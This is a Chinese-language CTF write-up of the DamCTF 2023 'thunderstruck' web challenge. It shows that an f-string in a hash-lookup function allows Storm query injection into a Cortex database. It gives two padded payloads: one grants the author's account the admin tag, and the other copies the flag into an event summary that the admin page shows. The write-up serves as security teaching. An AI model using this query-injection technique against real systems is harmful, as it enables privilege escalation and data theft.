Rating:

![20230408143652](https://de34dnotespics.oss-cn-beijing.aliyuncs.com/img/20230408143652.png)

题目给出了源码方便本地测试,站点采用 python 异步框架 Quart + 后端 cortex 数据库的形式部署,相对来说很陌生。

通过审计源码可以知道题目定义了如下的几个功能:
1. 首页(index)
2. 用户注册(register)
3. 用户登录(login)
4. 用户注销(logout)
5. 查询(lookup)
6. 管理员页面(admin)

其中管理员界面应该是可以获取到 flag 的。关键就在于 is_admin 的判断中。is_admin 的判断主要依托于 cortex 查询语句:
```python
self._is_admin = (await current_app.cortex.count(r"auth:creds=(thunderstruck,$u) +#role.admin", opts={"vars": {"u": self.auth_id}, "view": self._view})) == 1
```

用户对应的 auth:creds 表项如果具备 role.admin 标签即具有 admin 权限,但正常的用户在注册时无法获取这个标签。

漏洞点就出在 lookup 功能中,以 _lookup_sha512 为例。
```py
async def _lookup_sha512(h) -> bool:
return await current_app.cortex.count(f"hash:sha512={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0
```
站点正常查询时,用户需要提供一个 128 位的字符串,但此处的用户输入 h 似乎是直接拼接到 `f"hash:sha512={h}"` 中,细心一些也能发现,其他地方都是使用 r 字符串加占位符的形式执行 storm 语句,但是这里使用的是 f 字符串。

这里的 payload 如下, 我的用户名为 user2,前方的 # 直接可以使得 sha512 不报错的情况下顺利执行后方为 user2 添加 role.admin 标签的代码。需要保证总长度为 128 位,因此我使用了垃圾字符进行填充。
```sql
#1 -> #aaa11111111111111111111111111111111111111111111111111111111111111111111|[ auth:creds=(thunderstruck,user2) +#role.admin ]
```
获得 admin 权限之后就可以访问 /admin

![20230408144959](https://de34dnotespics.oss-cn-beijing.aliyuncs.com/img/20230408144959.png)

根据页面中的提示,可以定位 flag 存放在 cortex 中,而且可以通过 it:dev:str 查询到。

但 lookup 页面无法回显,通过阅读 admin.html 模板文件发现,其实这个提示来自于 ingest_code 变量.

![20230408145232](https://de34dnotespics.oss-cn-beijing.aliyuncs.com/img/20230408145232.png)

而 ingest_code 又来自于 summary 。
```py
ingest_ts, ingest_code = await current_app.cortex.callStorm(r"meta:event#ingest | max .created | return((.created, :summary))", opts={"view": await current_user.view})
counts = await current_app.cortex.callStorm(r"return($lib.view.get().getFormCounts())")
```

在 init_cortex.storm 其实是对这个 summary 进行赋值了的。summary 的全路径为 meta:event:summary

```s
[meta:event=* :title="ingest-20230202" :summary="<REDACTED>"]
```

这样的话,我们就可以通过替换 meta:event:summary 的内容为 flag 的内容来达到显示的目的。

payload 如下,通过声明一个变量来进行赋值。

```sql
#1 -> #aaa11111111111111111111111111111111111111111111111111111111111111111111111| $org={ it:dev:str } meta:event[:summary=$org]
```

最后界面上就会将 flag 打印出来。下面是用 chatGPT 生成的流程图(nice job!!)。

```mermaid
sequenceDiagram
participant User
participant Index_Page as Index Page
participant Register_Page as Register Page
participant Login_Page as Login Page
participant Lookup_Page as Lookup Page
participant Admin_Page as Admin Page
participant Cortex_DB as Cortex Database

User->>Index_Page: Access Index Page
User->>Register_Page: Register
User->>Login_Page: Login
User->>Lookup_Page: Perform Lookup
Lookup_Page->>Cortex_DB: Query Cortex Database
Cortex_DB->>Lookup_Page: Return Query Result

Note over User,Lookup_Page: Send Payload 1
User->>Lookup_Page: #1 -> #aaa...|[ auth:creds=(thunderstruck,user2) +#role.admin ]
Lookup_Page->>Cortex_DB: Execute Payload 1
Cortex_DB->>Lookup_Page: Update User Role

User->>Admin_Page: Access Admin Page (with admin privileges)
# Admin_Page->>Cortex_DB: Query Cortex Database for Flag
# Cortex_DB->>Admin_Page: Return Flag

Note over User,Lookup_Page: Send Payload 2
User->>Lookup_Page: #1 -> #aaa...| $org={ it:dev:str } meta:event[:summary=$org]
Lookup_Page->>Cortex_DB: Execute Payload 2
Cortex_DB->>Lookup_Page: Update Event Summary

Admin_Page->>User: Display Flag

```

[original writeup](https://dummykitty.github.io/2023/04/09/DamCTF-2023-Writeup-Web/#thunderstruck) (https://dummykitty.github.io/2023/04/09/DamCTF-2023-Writeup-Web/#thunderstruck)